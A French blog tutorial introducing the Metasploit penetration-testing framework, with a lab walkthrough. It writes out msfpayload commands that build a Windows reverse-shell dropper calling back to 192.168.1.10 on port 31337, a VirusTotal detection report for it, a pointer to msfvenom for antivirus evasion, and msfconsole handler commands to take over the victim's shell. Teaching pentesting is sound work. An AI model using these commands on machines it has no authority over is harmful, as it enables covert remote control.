Metasploit – test de pénétration: présentation

Metasploit est un framework qui permet d’effectuer des tests de pénétration (pentest).
Metaploist existe en version gratuite et une version pro avec des fonctionnalités avancées.
Metasploit permet le scan du réseau à la recherche de vulnérabilité (version payante), bruteforce etc comme Nessus par exemple.

mais aussi de simuler des infections clients/serveurs et la prise en main du PC infecté, exactement comme le font certains botnet.

La prise en main peux se faire via un dropper que l’on compile soit même ou via des vulnérabilités à distance.
La création de l’exploit se fait à travers des scripts fournis qui sont mis à jour ou proposés via la communauté.
La version gratuit fournit tout ce qu’il faut pour faire cela.
Ceci peux éventuellement être interressant pour tester les réactions de ses protections.
Metasploit est téléchargeable depuis ce lien, une version Windows ou GNU/Linux est proposée : http://metasploit.com/download/
L’installation est simple, un logging sera à créer à la fin de l’installation qui donne l’accès au site WEB. Vous devez aussi vous enregistrer avec une licence.
Voici une présentation rapide Metasploit pour cerner son fonctionnement.

Le fonctionnement de MetaSploit

La simulation d’infection se fait en deux parties.

  • La première partie consiste à générer un dropper ou la prise en main par un exploit à distance via la console de metasploit .
  • La seconde partie une fois que l’exploit ou le dropper a fait son boulot, permet la prise en main sur la machine infectée via le meterpreter, de  lancer des captures d’écran, enregistreur de frappes etc.
Dans les exemples ci-dessous, le serveur MetaSploit est sur l’IP 192.168.1.10 et les machines victimes sont 192.168.1.127, 192.168.1.19, 192.168.1.14
Voici comment créer un dropper qui va lancer un bête shell. Cela se fait à partir du script ruby msfpayload en invite de commandes.
Le plus simple étant d’ajouter le patch du binaire de ruby dans la variable %PATH%.
C:\metasploit\ruby\bin\ruby C:\metasploit\msf3\msfpayload windows/shell_reverse_tcp O
C:\metasploit\ruby\bin\ruby C:\metasploit\msf3\msfpayload windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=31337 O
C:\metasploit\ruby\bin\ruby C:\metasploit\msf3\msfpayload windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=31337 X > %temp%\1.exe

Sous GNU/Linux, on peux lancer la commande msfpayload directement.

Pour comprendre, on utilise ici l’exploit tcp_shell – LHOST et LPORT donne l’adresse IP du serveur metasploit auquel le shell du PC de la victime va se connecter.
Nous avons notre dropper, je vous mets la détection pour les curieux :

http://www.virustotal.com/file-scan/report.html?id=ccd120e2591b2fa5a8cf1c23197ad5071d122b9343f3b0a7001d49e4be171b33-1322823517

File name: 1.exe
Submission date: 2011-12-02 10:58:37 (UTC)
Current status: finished
Result: 32/ 43 (74.4%)	VT Community

Print results  Antivirus	Version	Last Update	Result
AhnLab-V3	2011.12.01.02	2011.12.01	Trojan/Win32.Shell
AntiVir	7.11.18.198	2011.12.02	TR/Crypt.EPACK.Gen2
Avast	6.0.1289.0	2011.12.02	Win32:SwPatch [Wrm]
AVG	10.0.0.1190	2011.12.02	Win32/Heur
BitDefender	7.2	2011.12.02	Backdoor.Shell.AC
ByteHero	1.0.0.1	2011.11.29	Trojan.Win32.Heur.Gen
CAT-QuickHeal	12.00	2011.12.02	Trojan.Swrort.A
Commtouch	5.3.2.6	2011.12.02	W32/Swrort.A
Comodo	10810	2011.12.02	TrojWare.Win32.Rozena.A
DrWeb	5.0.2.03300	2011.12.02	Trojan.Swrort.1
Emsisoft	5.1.0.11	2011.12.02	Virus.Win32.Heur!IK
eTrust-Vet	37.0.9599	2011.12.02	Win32/Swrort.A!generic
F-Prot	4.6.5.141	2011.11.29	W32/Swrort.A
F-Secure	9.0.16440.0	2011.12.02	Backdoor.Shell.AC
Fortinet	4.3.388.0	2011.12.02	W32/Swrort.C!tr
GData	22.293/22.546	2011.12.02	Backdoor.Shell.AC
Ikarus	T3.1.1.109.0	2011.12.02	Virus.Win32.Heur
K7AntiVirus	9.119.5570	2011.11.30	Virus
Kaspersky	9.0.0.837	2011.12.02	HEUR:Trojan.Win32.Generic
McAfee	5.400.0.1158	2011.12.02	Swrort.d
McAfee-GW-Edition	2010.1D	2011.12.02	Swrort.d
Microsoft	1.7903	2011.12.02	Trojan:Win32/Swrort.A
NOD32	6668	2011.12.01	a variant of Win32/Ducky.AA
Norman	6.07.13	2011.12.02	W32/Swrort.S
nProtect	2011-12-02.01	2011.12.02	Backdoor.Shell.AC
Panda	10.0.3.5	2011.12.01	Suspicious file
Sophos	4.71.0	2011.12.02	Mal/Swrort-C
SUPERAntiSpyware	4.40.0.1006	2011.12.02	Trojan.Backdoor-PoisonIvy
TrendMicro	9.500.0.1008	2011.12.02	TROJ_SWRORT.SME
TrendMicro-HouseCall	9.500.0.1008	2011.12.02	TROJ_SWRORT.SME
VIPRE	11190	2011.12.02	Trojan.Win32.Swrort.B (v)
VirusBuster	14.1.95.0	2011.12.01	Trojan.Rosena.Gen.1
Additional information

MD5   : 0d130526b03b8fbed31239b6294d7f96
SHA1  : d83218eb1fe799b84e10f42254eafda5b09be2c4
SHA256: ccd120e2591b2fa5a8cf1c23197ad5071d122b9343f3b0a7001d49e4be171b33

Notez que MetaSploit fournit des outils pour tenter de bypasser la détections des antivirus, cela se fait par la commande msfvenom

L’opération consiste ensuite à lancer l’exploit vers la machine ciblée, si l’exploit réussi, une session s’ouvre et un accès meterpreter est créé.
Il faut lancer la console Metasploit.

Sur la version Windows, il faut lancer console.bat pour avoir la console.

sur GNU/Linux – il faut lancer la commande msfconsole

On passe les commandes suivantes :
use exploit/multi/handler
set payload windows/shell/reverse_tcp
exploit 

Lancer le dropper sur le PC de la victime et vous devriez alors avoir accès à son shell

La suite sur la page suivante.

Comment lire d'autres tutoriels de malekal.com ?

Si le site vous a aidé, svp, débloquez les bloqueurs de publicités, n'hésitez pas non plus à partager l'article ou le site sur les réseaux sociaux.

Pour pouvoir lire plus d'articles et tutoriels, utilisez le menu en haut du site. Plein d'articles et tutos utiles vous attendent !

Besoin d'aide ?

Posez votre question ou soumettez votre problème sur le forum malekal.com pour obtenir une aide efficace : Aller sur le forum malekal.com
(Visited 295 times, 1 visits today)

One thought on “Metasploit – test de pénétration: présentation

  1. Article très interessant, il y a aussi la commande db_autopwn qui est pas mal aussi.
    Il y a aussi armitage qui si je me trompe pas est une surcouche graphique pour metasploit, facile à prendre en main.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *